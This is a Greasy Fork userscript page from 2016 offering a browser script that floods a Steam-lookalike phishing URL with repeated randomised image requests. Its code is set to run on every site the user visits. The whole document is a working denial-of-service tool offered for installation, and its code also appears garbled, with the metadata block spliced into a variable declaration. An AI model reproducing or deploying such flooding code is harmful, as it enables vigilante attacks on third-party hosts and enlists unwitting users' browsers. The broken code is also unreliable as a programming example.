mock ddos to attct the fake website

ddos钓鱼网站

当前为 2016-01-25 提交的版本,查看 最新版本

  1. // ddos地址
  2. var url = 'http://steamcommuunity.com/login/home',
  3. // ==UserScript==
  4. // @name mock ddos to attct the fake website
  5. // @author burningall
  6. // @description ddos钓鱼网站
  7. // @version 2016.1.25
  8. // @include *
  9. // @run-at document-start
  10. // @compatible chrome 完美运行
  11. // @compatible firefox 完美运行
  12. // @license The MIT License (MIT); http://opensource.org/licenses/MIT
  13. // @supportURL http://www.burningall.com
  14. // @contributionURL troy450409405@gmail.com|alipay.com
  15. // @namespace https://greasyfork.org/zh-CN/users/3400-axetroy
  16. // ==/UserScript==
  17. // 每隔多少ms发送一次请求
  18. delay = 100,
  19. // 请求次数
  20. times = 1000,
  21. // 以下不要修改
  22. count = 0,
  23. pic, rand,
  24.  
  25. function ddos(url) {
  26. pic = new Image();
  27. rand = Math.floor(Math.random() * 1000);
  28. pic.src = url + '?random=' + rand;
  29. }
  30. var ddosTimer = setInterval(function() {
  31. if (count >= times) {
  32. clearInterval(ddosTimer);
  33. } else {
  34. ddos(url);
  35. count++;
  36. }
  37. },
  38. delay);